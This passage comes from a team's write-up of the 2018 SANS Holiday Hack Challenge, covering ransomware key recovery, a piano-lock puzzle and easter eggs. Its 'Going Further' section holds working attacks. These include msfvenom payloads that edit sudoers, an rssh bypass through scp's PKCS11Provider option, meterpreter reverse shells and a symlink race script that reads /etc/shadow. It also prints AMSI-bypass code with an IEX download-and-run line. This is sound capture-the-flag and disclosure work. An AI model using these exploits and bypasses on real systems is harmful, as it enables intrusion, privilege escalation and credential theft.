    Now that we have the private key, we need to recover the encrypted Byte_key. Before we can find it, we need to know the format it's in. Once again, we'll just execute some of the malware's code:

    PS > $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    PS > $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    PS > $Hex_key = $(B2H $Byte_key)
    PS > $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    PS > $Pub_key_encrypted_Key
    PS > $Pub_key_encrypted_Key.length

    So, we're looking for a 512-character long hex string. Our hint points us to powerdump, so let's give that a shot, continuing to follow along in Chris's video. Once we load and process the file, we can search for a string:

    ============ Main Menu ================
    Memory Dump: powershell.exe_181109_104716.dmp
    Loaded     : True
    Processed  : True
    1. Load PowerShell Memory Dump File
    2. Process PowerShell Memory Dump
    3. Search/Dump Powershell Scripts
    4. Search/Dump Stored PS Variables
    e. Exit
    : 4
    [i] 10947 powershell Variable Values found!
    ============== Search/Dump PS Variable Values ===================================
    COMMAND        |     ARGUMENT                | Explanation
    print          | print [all|num]             | print specific or all Variables
    dump           | dump [all|num]              | dump specific or all Variables
    contains       | contains [ascii_string]     | Variable Values must contain string
    matches        | matches "[python_regex]"    | match python regex inside quotes
    len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
    clear          | clear [all|num]             | clear all or specific filter num
    : len == 512
    ================ Filters ================
    1| LENGTH  len(variable_values) == 512
    [i] 1 powershell Variable Values found!

    Well, that was easy. We didn't even need a regular expression for the hex-encoding, as there was only one variable of length 512.

    : print 1
    Press Enter to Continue...
    ================ Filters ================
    1| LENGTH  len(variable_values) == 512
    [i] 1 powershell Variable Values found!

    Looks like we found it! Let's also recover the SHA1 hash of the key, so that we can verify it's correct once we decrypt it. A hex-encoded SHA1 hash will be 40 characters long:

    : len == 40
    ================ Filters ================
    1| LENGTH  len(variable_values) == 40
    [i] 45 powershell Variable Values found!
    ============== Search/Dump PS Variable Values ===================================
    COMMAND        |     ARGUMENT                | Explanation
    print          | print [all|num]             | print specific or all Variables
    dump           | dump [all|num]              | dump specific or all Variables
    contains       | contains [ascii_string]     | Variable Values must contain string
    matches        | matches "[python_regex]"    | match python regex inside quotes
    len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
    clear          | clear [all|num]             | clear all or specific filter num
    : matches "^[a-f0-9]+$"
    ================ Filters ================
    1| LENGTH  len(variable_values) == 40
    2| MATCHES  bool("^[a-f0-9]+$",variable_values))
    [i] 1 powershell Variable Values found!
    ============== Search/Dump PS Variable Values ===================================
    COMMAND        |     ARGUMENT                | Explanation
    print          | print [all|num]             | print specific or all Variables
    dump           | dump [all|num]              | dump specific or all Variables
    contains       | contains [ascii_string]     | Variable Values must contain string
    matches        | matches "[python_regex]"    | match python regex inside quotes
    len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
    clear          | clear [all|num]             | clear all or specific filter num
    : print

    Now we can use the private key to decrypt it. At this point, we ran into some issues doing this in Powershell, as loading private key is a bit different from how the malware loads the public key. We'll switch to Python for the rest of this challenge:

    #!/usr/bin/env python
    import binascii
    import hashlib
    from Crypto.Cipher import PKCS1_OAEP
    from Crypto.PublicKey import RSA
    pub_key_encrypted_key = "3cf903522e..."
    raw_encrypted_key = binascii.unhexlify(pub_key_encrypted_key)
    rsa_key = RSA.importKey(open('../../artifacts/obj9/server.key', "rb").read())
    cipher =
    decrypted_key = cipher.decrypt(raw_encrypted_key)
    hex_key = binascii.hexlify(decrypted_key)
    # Check the SHA1 hash
    sha1_target = "b0e59a5e0f00968856f22cff2d6226697535da5b"
    sha1_result = hashlib.sha1(hex_key).hexdigest()
    if sha1_result == sha1_target:
        print "Found the key!", binascii.hexlify(decrypted_key)
        print "Key SHA1 hash doesn't match..."
        print "Target:", sha1_target, "ours:", sha1_result

    Once we run that, we're greeted with Found the key! fbcfc121915d99cc20a3d3d5d84f8308.

    Last step. Now we can use that key to decrypt the encrypted wannacookie file. Once again, we turn to Python:

    #!/usr/bin/env python
    from Crypto.Cipher import AES
    import binascii
    import struct
    hex_key = "fbcfc121915d99cc20a3d3d5d84f8308"
    key = binascii.unhexlify(hex_key)
    with open("../../artifacts/obj9/alabaster_passwords.elfdb.wannacookie", 'rb') as f:
        # $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
        iv_length = struct.unpack('i',[0]
        # $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
        iv =
        rest =
        obj =, AES.MODE_CBC, iv)
        result = open("../../artifacts/obj9/alabaster_passwords.elfdb", 'wb')

    End result: alabaster_passwords.elfdb: SQLite 3.x database. We've done this before!

    $ sqlite3 alabaster_passwords.elfdb .dump
    PRAGMA foreign_keys=OFF;
    CREATE TABLE IF NOT EXISTS "passwords" (
       `name`       TEXT NOT NULL,
       `password`   TEXT NOT NULL,
       `usedfor`    TEXT NOT NULL
    INSERT INTO passwords VALUES('alabaster.snowball','CookiesR0cK!2!#','active directory');
    INSERT INTO passwords VALUES('','KeepYourEnemiesClose1425','');
    INSERT INTO passwords VALUES('','CookiesRLyfe!*26','');
    INSERT INTO passwords VALUES('alabaster.snowball','MoarCookiesPreeze1928','Barcode Scanner');
    INSERT INTO passwords VALUES('alabaster.snowball','ED#ED#EED#EF#G#F#G#ABA#BA#B','vault');
    INSERT INTO passwords VALUES('','PetsEatCookiesTOo@813','');
    INSERT INTO passwords VALUES('','YayImACoder1926','');
    INSERT INTO passwords VALUES('','Woootz4Cookies19273','');
    INSERT INTO passwords VALUES('','ChristMasRox19283','');



    :CUSTOM_ID: obj9

Who Is Behind It All?


Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?


  • Elf Chat

    Alabaster rewards us by saying:

    I'm seriously impressed by your security skills.

    How could I forget that I used Rachmaninoff as my musical password?

  • Badge Hint

    But wait! Checking our badge reveals…

    Really, it's Mozart. And it should be in the key of D, not E.


We take the notes recovered from Alabaster's decrypted password vault, and try it on the piano lock. The document we recovered from Packalyzer helpfully shows us the notes on the piano keys.


Figure 58: Wrong key

The hint tells us that it should be in the key of D, not E. The Packalyzer document also told us how to transcribe music from one key to another. Let's try:

Note in key of E Note in key of D
D# C#
D# C#
D# C#
F# E
G# F#
F# E
G# F#
A# G#
A# G#

Trying that sequence (DC#DC#DDC#DEF#EF#GAG#AG#A) reveals:


Figure 59: Right key!

Once we enter the vault, Alabaster tells us:

Of course I transposed it it before I entered it into my database for extra security.

Hans offers us a congratulations, and Santa explains the whole thing, finishing:

You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?

They lived happily ever after.

So, who was behind it all?



de Bruijn Piano Lock?

After learning about de Bruijn sequences, we were curious if that would work here. The lock seemed to operate in the same way, as it would try unlocking after each note was pressed. We noticed that the tune in question had a similar note pattern at the end (AG#AG#A) as at the beginning (DC#DC#D). We whipped up a quick Python program that verified that in fact we could generate a de Bruijn sequence.

#!/usr/bin/env python

notes = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B']
tune = ['E', 'D#', 'E', 'D#', 'E', 'E', 'D#', 'E', 'F#', 'G#', 'F#', 'G#', 'A', 'B', 'A#', 'B', 'A#', 'B']

def adjust(offset):
    result = []
    for note in tune:
        index = notes.index(note)
        index += offset
        if index >= len(notes):
            index = index % len(notes)

    return result

first = tune[0]
result = adjust(0)
last = result[-1]

offsets = [0]

sequence = result[:-5]

while True:
    offset = notes.index(last) - notes.index(first)
    if offset in offsets:
        # Loop detected

    result = adjust(offset)
    print "Key is now", result[0]
    last = result[-1]

    sequence += result[:-5]

print "de Bruijn sequence is", len(sequence), "notes long."
print "Without de Bruijn, it would've been", len(offsets)*len(tune), "notes long."
print " ".join(sequence)

The result was:

Key is now B
Key is now F#
Key is now C#
Key is now G#
Key is now D#
Key is now A#
Key is now F
Key is now C
Key is now G
Key is now D
Key is now A
de Bruijn sequence is 156 notes long.
Without de Bruijn, it would've been 216 notes long.
E D# E D# E E D# E F# G# F# G# A B A# B A# B B A# B C# D# C# D# E
F# F F# F F# F# F F# G# A# G# A# B C# C C# C C# C# C C# D# F D# F F
# G# G G# G G# G# G G# A# C A# C C# D# D D# D D# D# D D# F G F G G
# A# A A# A A# A# A A# C D C D D# F E F E F F E F G A G A A
# C B C B C C B C D E D E F G F# G F# G G F# G A B A B C
D C# D C# D D C# D E F# E F# G A G# A G# A A G# A B C# B C# D

What's even cooler is that the sequence goes through all of the keys before it repeats!


Figure 60: de Bruijn key sequence for Marriage of Figaro


As we walk around the castle, everyone congratulates us on winning. However, we don't feel complete, as we're left with the nagging question of what in the world Alabaster was talking about with his Rachmaninoff-no-really-Mozart song. We have the notes, but not the tune. Can we figure out the song?

This one we solved two ways: allows you to search by melodic contour (Parsons code). By simply saying if each note progression goes up, down, or repeats, it can find the closest matches:


Figure 61: Musipedia Parsons search

The Wedding of Figaro seems to match perfectly:


Figure 62: Wedding of Figaro, by Mozart

But still… why Rachmaninoff, then? The answer is found in the second method we used to figure this out:


Figure 63: Asking on Facebook…

And with that, Santa's parting words make a lot more sense too:

Going Further: Escalations and 0days

At this point, we've solved it all! However, our curiousity is unabated, and we'd like to know what else we can find…


We managed to escalate to root on the snort terminal, pivot to snortsensor1, where we got command execution and were able to read files with root privileges. Finally, we got a shell on careers.


We managed to get through the Scan-O-Matic, but we were curious to see who had access.

We wrote two simple tools which allowed us to use sqlmap to enumerate the rest of the data in the table:

| uid              | enabled | last_name      | first_name | authorized |
| 1eyLovhxiOIlfRUG | 0       | evergreen      | bushy      | 0          |
| 5qLIf1BXX4Sv8sEX | 0       | minstix        | pepper     | 0          |
| 8DEb50kquIoIoUtg | 0       | redberry       | sparkle    | 0          |
| dsdZpzQxGCqaA2Zn | 0       | candycane      | minty      | 0          |
| exO6PqczJ7WedM2Q | 0       | upatree        | shimmy     | 0          |
| I7SfXpRjJ1iVSfdt | 0       | openslae       | wunorse    | 0          |
| Io2gs3VigcqjSxW2 | 0       | claus          | santa      | 1          |
| N2Jg3gxC5aXHVjjD | 0       | sugarplum      | mary       | 0          |
| nb8ZVgfMk9OYtuCl | 1       | <blank>        | theo       | 1          |
| oRfjg5uGHmbduj2m | 0       | snowball       | alabaster  | 1          |
| P8qXJeGhy1LRlM5e | 0       | mcjinglehauser | tarpin     | 0          |
| VvYFHiGQzrQB9eAT | 0       | evergreen      | holy       | 0          |

We note that only Theo has access.

Escalating to root on snort

We've solved the Snort challenge, but what else can we do on that system?

Checking ps, we see:

elf@snort:~$ ps auxwwf
root         1  0.0  0.0  18028  2880 pts/0    Ss   05:07   0:00 /bin/bash ./init
root        11  0.4  0.0  18028  2904 pts/0    S    05:07   0:05 /bin/bash /root/check
root     10448  0.0  0.0  24620  7028 pts/0    R    05:29   0:00  \_ python3 -c import time; time.sleep(0.1)
root        12  0.0  0.0  46988  2816 pts/0    S    05:07   0:00 /bin/su elf
elf         13  0.0  0.0  18244  3344 pts/0    S    05:07   0:00  \_ bash

So, root is running a number of processes. Let's see if we can figure out what's happening behind the scenes to test our rule. It seems as if something happens whenever we modify the local.rules file, so we can simulate that with touch:

elf@snort:~$ touch /etc/snort/rules/local.rules ; sleep 2; ps auxwwf
root         1  0.0  0.0  18028  2840 pts/0    Ss   05:31   0:00 /bin/bash ./init
root         9  0.2  0.0 129696 20132 pts/0    Sl   05:31   0:00 python3 /root/trons
root       803  0.0  0.0   4500   780 pts/0    S    05:33   0:00  \_ /bin/sh -c snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf
root       804 12.0  0.1 548060 108972 pts/0   Sl   05:33   0:00      \_ snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf
root        11  0.4  0.0  18028  2820 pts/0    S    05:31   0:00 /bin/bash /root/check
root       814  0.0  0.0  22924  3572 pts/0    R    05:33   0:00  \_ python3 -c import time; time.sleep(0.1)
root        12  0.0  0.0  46988  2712 pts/0    S    05:31   0:00 /bin/su elf
elf         14  0.0  0.0  18240  3188 pts/0    S    05:31   0:00  \_ bash

Here we see that root actually runs snort to check our rules. Perhaps we can modify the Snort configuration in such a way to run some commands as root? We can't modify /etc/snort/snort.conf, but let's see how the local.rules file is being loaded:

elf@snort:~$ grep local.rules /etc/snort/snort.conf 
include $RULE_PATH/local.rules

Ah! It seems as if it's being included into the config. A generic include statement would imply that we could modify arbitrary configuration settings, and we're not simply limited to adding rules. Looking over the Snort documentation, we found a very intriguing option:

dynamicpreprocessor [file <shared library path> | directory <directory of shared libraries> ]

Tells snort to load the dynamic preprocessor shared library (if file is used) or all dynamic preprocessor shared libraries (if directory is used).

Time to create a malicious shared library:

msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o

The above command uses Metasploit's msfvenom to create a shared library which will execute a command when it's loaded. Because Snort's running as root, the command will run as root as well. The command grants our elf user the ability to run any command with superuser privileges, without prompting for a password.

The Snort system is the only Docker container which has networking enabled. We can transfer our new shared library by simply using wget. Then, we add it to the local.rules file:

elf@snort:~$ wget
elf@snort:~$ echo 'dynamicpreprocessor /home/elf/' > /etc/snort/rules/local.rules
# Wait a few seconds for for root to run snort...
elf@snort:~$ sudo su -
root@snort:~# id
uid=0(root) gid=0(root) groups=0(root)

Pivoting to snortsensor1

Now that we have root access on the Snort docker container, we can extract the HMAC key from the script. We also see the following interesting snippet from the trons script (snort spelled backwards):

def download_snort_pcap():
    while True:'/usr/bin/scp -oStrictHostKeyChecking=no -i /root/elf.key /root/ 2>/dev/null >/dev/null', shell=True)
        copyfile('/root/snort.log.pcap', '/home/elf/snort.log.pcap')

Sure enough, using the private key, we can also login to snortsensor1 as elf. However, we run into an issue:

root@snort:~# ssh -i elf.key
Linux hhc18-snortsensor 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 12 23:27:59 2018 from

This account is restricted by rssh.
Allowed commands: scp sftp 

If you believe this is in error, please contact your system administrator.

Connection to closed.

Command execution on snortsensor1

We need to figure out a way past rssh. We can copy files off of the system, and we can copy /etc/rssh.conf, which mainly has:


To start, let's see what actually happens when we run scp. We'll run it with the --verbose (-v) flag:

$ scp -v -i elf.key test_file
Executing: program /usr/bin/ssh host, user elf, command scp -v -t .
OpenSSH_7.7p1, LibreSSL 2.7.3

So, scp is simply calling ssh with a fixed command. We can run this ourselves to verify:

$ ssh -i elf.key 'scp -v -t .'
scp: lll
Sink: lll

So, the program hangs, and once we type some input, we get some text back. So, it certainly seems as if rssh allowed us to run our scp command. Can we run other commands this way?

$ ssh -i elf.key 'id'

This account is restricted by rssh.
Allowed commands: scp sftp

If you believe this is in error, please contact your system administrator.

That's a negative. rssh must be filtering the commands we can run. Time to dive into the scp and ssh documentation, and see if there's a way we can craft an scp invocation that will cause it to execute commands. Quickly, we identify a promising candidate:

-S program

    Name of program to use for the encrypted connection.  The program must understand ssh(1) options.
$ ssh -i elf.key 'scp -S id -v -t .'                                                                                                                                                           1   master

illegal insecure S option
This account is restricted by rssh.
Allowed commands: scp sftp

If you believe this is in error, please contact your system administrator.

They're on to us… Reading further, we see that we can also pass ssh options to scp:

-o ssh_option
	Can be used to pass options to ssh in the format used in ssh_config(5).  This is useful for specifying
	options for which there is no separate scp command-line flag.  For full details of the options listed
	below, and their possible values, see ssh_config(5).


Reading through the ssh_config man page, we find another intriguing option:

	Specifies which PKCS#11 provider to use.  The argument to this keyword is the PKCS#11 shared library
	ssh(1) should use to communicate with a PKCS#11 token providing the user's private RSA key.

From the snort system, we already know the fun we can have with a shared library. First, we'll build a library which executes a command when it's loaded:

$ msfvenom -p linux/x64/exec CMD="id" -f elf-so -o
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of elf-so file: 449 bytes
Saved as:

Now, will scp load this? We test on our system first:

$ scp -o -v -t .
Sink: llll
scp: llll

No, the same behavior. Of course! The man page said that this option is passed to the ssh call, and by just listening for data, scp is never calling ssh. To make it do this, we'll try using scp to send a file from our system to another:

$ scp -o PKCS11Provider=./ test_file test_server:
uid=1000(rssh_user) gid=1000(rssh_user) groups=1000(rssh_user)

Success! Now the question is, will rssh allow this new scp command? First, we'll copy our shared library over to the system. We'll add another ssh option to ignore the "New host key, Are you sure you want to continue?" prompt:

$ scp -i elf.key
$ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/ /dev/null'
$ ssh -i elf.key $COMMAND
uid=1005(elf) gid=1006(elf) groups=1006(elf)


We reported this issue to the rssh author, who replied saying that:

RSSH is no longer maintained.

We've applied for a CVE and will update our report when that's assigned.

So… we discovered a 0day! And perhaps it's time for people to switch off of rssh.

At this point, it's trivial to escalate this to a meterpreter shell:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST="" -f elf-so -o
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 127 bytes
Final size of elf-so file: 529 bytes
Saved as:
$ scp -i elf.key                                                                                                                                                                                                                                    100%  529    27.0KB/s   00:00
$ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/ /dev/null'

# At this point, we start a metasploit session listening in another window:

$ msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp ; set LHOST; run"
PAYLOAD => linux/x64/meterpreter/reverse_tcp
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on

# Finally, we can trigger the attack:

$ ssh -i ~/hhc18/snort/root/elf.key $COMMAND

# This hangs, but, meanwhile...

msf exploit(handler) > 
[*] Sending stage (2878936 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-01-14 17:38:48 +0000

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : hhc18-snortsensor.c.holidayhack2018.internal
OS           : Debian 9.5 (Linux 4.9.0-8-amd64)
Architecture : x64
Meterpreter  : x64/linux


Privilege Escalation on snortsensor1

Now that we have a comfortable foothold, we can see how the holiday magic of snortsensor1 was created. Looking at processes running, we identify /home/chris/, and we notice that it's running as root. The main logic of that script is:

if __name__ == "__main__":
    local_ip = ni.ifaddresses('eth0')[AF_INET][0]['addr']

    bad_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap')
    bad_packets2 = rdpcap('wannacookie_txt_dropper_only_queries.pcap')
    good_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap')

    good_packets = morph_good_packets(good_packets, local_ip)
    bad_packets = morph_bad_packets(bad_packets, local_ip)
    bad_packets2 = morph_bad_packets(bad_packets2, local_ip)

    final_packets = []
    # ...

    destination_file = 'snort.log.'+ str(time.time()) +'.pcap'
    generated_file = '/home/elf/snort.log.pcap'

    #Remove Old Pcaps From Web Dir
    listed_dir = [x for x in os.listdir('/var/www/html/') if x.endswith('.pcap')]
    while len(listed_dir) > 5:
        tmp = [os.path.getctime('/var/www/html/'+x) for x in listed_dir]
        oldest = min(tmp)

    if os.path.exists(generated_file):
    wrpcap(generated_file, final_packets)
    copyfile(generated_file, '/var/www/html/'+destination_file)

This script has a vulnerability in this section:

# If the file already exists, remove it
if os.path.exists(generated_file):

# Write the new PCAP to /home/elf/snort.log.pcap
wrpcap(generated_file, final_packets)

# Copy the file to the web root
copyfile(generated_file, '/var/www/html/'+destination_file)

Let's assume that an attacker wants to access a file on the system that the elf user isn't authorized to read. Because is running as root, the attacker knows that the script can read that file. Furthermore, the script is placing files in the publicly accessible web server root.

Linux uses symbolic links (symlinks), almost as a pointer from one location to another on the filesystem. If an attacker times their attack just right, they can do something like:


Figure 64: packet_generator race condition

An interesting note is that this attack was possible without the rssh vulnerability, as sftp was allowed, and sftp can create symlinks.

However, this race is very hard to win. And, if we don't time it right, the following happens:


Figure 65: packet_generator oops condition

Let's see if we can't improve our odds. Another special Linux file is a FIFO, or named pipe. These are designed so that one side will write to it, and another will read to it. All data is passed internally, without being written to the filesystem. One side-effect of using a FIFO is that, when you write to it, your program will hang until something reads from it. We can use this to cause packet_generator to pause at the right time, giving us a much better chance to win the race.


Figure 66: packet_generator FIFO

We've successfully moved the race up a step, where now we need to get packet_generator writing to our FIFO just after it deletes snort.log.pcap, but before it starts writing to it. However, this approach has two advantages: the wrpcap function takes a bit of time to run, and the risk of accidentally overwriting our target file is greatly reduced.

We weaponized this as a bash script, which has the following logic:


Figure 67: logic



rm race.fifo
mkfifo race.fifo

while true
    PID=$(pgrep python3)
    while [[ "$OLD_PID" -ne "$PID" ]]
        if [[ -n "$PID" ]]
            ELAPSED=$(ps -o etimes:1= -p $PID)
            if [[ "$ELAPSED" -gt "4" ]]
                # Running for more than 4 seconds. Now's our chance!
                echo "Creating symlink to $FILE"
                rm -f snort.log.pcap
                ln -sf -- "$FILE" snort.log.pcap
                timeout 2 cat race.fifo
                rm -f snort.log.pcap
                # Process is running, but is new. Flip-flop the symlink
                for i in {1..10}
                    ln -sf race.fifo snort.log.pcap
                    sleep 0.05
                    ln -sf race.not_a_fifo snort.log.pcap
                    sleep 0.05
            # Not running. Make sure race.not_a_fifo is gone, and wait
            rm -f race.not_a_fifo
            sleep 0.5
            PID=$(pgrep python3)

    if [[ "$ATTEMPT_DONE" = "yes" ]]
        # We've completed our hijack attempt. Did it work?
        if file /var/www/html/* 2> /dev/null | grep -qv tcpdump
            ls -la -- /var/www/html "$FILE"

        echo "Waiting on new process..."
        sleep 0.5

When running, this looks like:

meterpreter > shell
Process 26394 created.
Channel 9 created.
bash ./ /etc/shadow
Waiting on new process...
Creating symlink to /etc/shadow
ls -la -- /var/www/html /etc/shadow
-rw-r----- 1 root shadow 1899 Jan 14 05:13 /etc/shadow

total 448
drwxr-xr-x 2 root root  4096 Jan 14 19:36 .
drwxr-xr-x 3 root root  4096 Nov  1 13:58 ..
-rw-r--r-- 1 root root 87871 Jan 14 19:30 snort.log.1547494206.738935.pcap
-rw-r--r-- 1 root root 88623 Jan 14 19:32 snort.log.1547494327.5587683.pcap
-rw-r--r-- 1 root root 88558 Jan 14 19:33 snort.log.1547494387.5040042.pcap
-rw-r--r-- 1 root root 89307 Jan 14 19:35 snort.log.1547494507.5282817.pcap
-rw-r--r-- 1 root root  1899 Jan 14 19:36 snort.log.1547494567.4750795.pcap

We see that there's a new file, with the same size as our target. Now we can download it, and we've got some hashes!


At this point, if we can crack root's password, we have completely compromised this system.

Popping a shell on careers

The final system we turned our attention to was We already got our file off of this system, but we'd like to see what else we can do.

We first tried to get a meterpreter session running, but quickly found that Windows Defender was blocking it. We were able to bypass Defender with this method:

$Ref = (
"System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"

$Source = @"
using System;
using System.Runtime.InteropServices;

namespace Bypass
    public class AMSI
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        public static extern IntPtr LoadLibrary(string name);
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero) { return 1; }

            IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
            if (ASBPtr == IntPtr.Zero) { return 1; }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }

            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
            Marshal.Copy(Patch, 0, unmanagedPointer, 6);
            MoveMemory(ASBPtr, unmanagedPointer, 6);

            return 0;

Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp

# This loads and runs our actual payload
IEX ((new-object net.webclient).downloadstring(""));

To create our actual payload, we use msfvenom once again. For the reasons listed in the article above, we're careful to use a 64-bit payload, so as to not spawn a non-bypassed 32-bit Powershell instance.

$ msfvenom --platform windows -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT=4444 -f psh -o hugs.ps1
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 205379 bytes
Final size of psh file: 959328 bytes
Saved as: hugs.ps1

We fire up meterpreter (-x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_tcp ; set LHOST; run"), and soon see:

[*] Meterpreter session 1 opened ( -> at 2019-01-14 09:16:54 +0000
msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > ps

Process List

PID   PPID  Name                 Arch  Session  User                        Path
---   ----  ----                 ----  -------  ----                        ----
0     0     [System Process]
4     0     System
264   592   svchost.exe
280   4     smss.exe
368   360   csrss.exe
448   360   wininit.exe
456   440   csrss.exe
480   2180  powershell.exe       x64   0        HHC18-DDE\sparkle.redberry  C:\Windows\System32\WindowsPowerShell...

Unfortunately, our shell will get killed off after about 30 seconds. So, we'll migrate to another process. We see that Sparkle is running the Non-Sucking Service Manager, so we'll try to migrate to that process:

msf exploit(handler) > set AutoRunScript post/windows/manage/migrate SPAWN=false PID=2864
AutoRunScript => post/windows/manage/migrate SPAWN=false PID=2864
msf exploit(handler) > rerun
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job 1.
msf exploit(handler) >
[*] Started reverse TCP handler on
[*] Meterpreter session 2 opened ( -> at 2019-01-14 19:56:47 +0000
[*] Session ID 2 ( -> processing AutoRunScript 'post/windows/manage/migrate SPAWN=false PID=2864'
[*] Running module against HHC18-DDE
[*] Current server process: powershell.exe (3296)
[+] Migrating to 2864
[+] Successfully migrated to process 2864

At this point, we tried a few things (and were able to recover Sparkle's password hash through an SMB relay attack), but the escalation paths we saw risked the stability of the game, and we didn't pursue the matter.

Working as a Team

While working on this challenge, we used three main techniques to get things done and stay organized. We were mostly working in the same room that happened to have a couple of big whiteboards. Those came in handy as we slowly drew out the map of the game and location of all things in it. We also originally tracked our progress using this. The whiteboards also came in handy as a way to quickly iterate through ideas on specific challenges we faced.


Figure 68: Map Whiteboard

The use of a private Slack channel was also very helpful. It existed as a place to both dump answers, clues, and interesting artifacts, as well as a good place for discussion for when we weren’t in the same room.


Figure 69: Progress Whiteboard

Our final method for working was using a private GitHub repo. We didn’t want to have a public one because we didn’t want to spoil things for others, nor did we want to give away any advantage we had or secrets we found. GitHub was very useful for a place for more well defined to do list. We used GitHub issues to track what we still needed to do and chat about who was doing what. Labelling issues helped us to prioritize this to do list so we could make sure to finish up the challenge with the most impactful parts done.

All in all, using these collaboration techniques allowed us to be as comprehensive as we could with both the challenge and the end report.

Easter Eggs

A quick list of easter eggs that we found as we were going through the game.

Egg Location Reference Notes
OHHIMARK LineCon/KringleCon The Room WebSocket Message
"Wake up, we're at Grandma's" LineCon/KringleCon MST3k WebSocket Message
egg.png LineCon/KringleCon Twitter Egg Logo  
a-wild-missingno-appears LineCon/KringleCon Pokemon  
Lethal ForensicELFification Terminal Lethal Forensicator  
Lethal ForensicELFification Terminal The Raven  
-a 42 Stall Mucking Argument Hitchhiker's Guide smbwrapper command argument
ignore-sw-holiday-special Stall Mucking Argument Star Wars Holiday Special & 2016 HHC smbwrapper command argument
directreindeerflatterystable Stall Mucking Password XKCD  
KONAMI CODE Yule Log Analysis Konami Code and 2015 HHC In reverse-engineered code
Escape from LA Python Terminal Escape from LA movie ("Snake is Back!")  
Candy Striper CURLing Terminal 2017 HHC  
EE2 (CranPi Logo) GitLab Old HHCs, Raspberry Pi  
EE3 (Drawing of Hans) GitLab Die Hard  
Theo Authorized User Scan-O-Matic Database Die Hard (he was the hacker) Only authorized and enabled user
Bill Clay Wannacookie HTML Source Die Hard (Hans' alias)  
InigoMontoya Vents Code Princess Bride  
Happy Trails Answer 1 Die Hard  
John McClane Answer 2 Die Hard  
Yippee-ki-yay Answer 4 Die Hard  
19880715 Answer 5 Die Hard Movie release date
Fancy Beaver Answer 7 Fancy Bear APT Group Answer 10 Die Hard hansgruber ROT-13 and backwards
yippeekiyaa.aaay Answer 11 Die Hard  
Piano Lock & Rachmaninoff Answer 12 Willy Wonka  
Many Hans quotes KringleCon Die Hard  
Toy Soldier quotes KringleCon Die Hard From Hans' German-speaking associates
Dungeon for Errant Reindeer Hans Quote 2016 HHC  
ATNAS Corporation, Miss Cindy Lou Who Hans Quote 2015 HHC  
Glinda the Good Witch Hans Quote 2017 HHC  
The Plant Front Door Previous HHCs, psmitty First person to get all challenge coins!

Thank Yous

As proud as we are to have completed this Holiday Hack Challenge, we would be remiss to not publicly acknowledge a few people outside of this team who helped us during the challenge.

Justin Azoff (Corelight): Helped greatly on the Scan-O-Matic as well as some other thoughts and ideas throughout

Michael Sinatra (ESnet): Helped us figure out why we were unable to query Hans’ DNS resolver from Linux/macOS at first (search for noedns for more info)

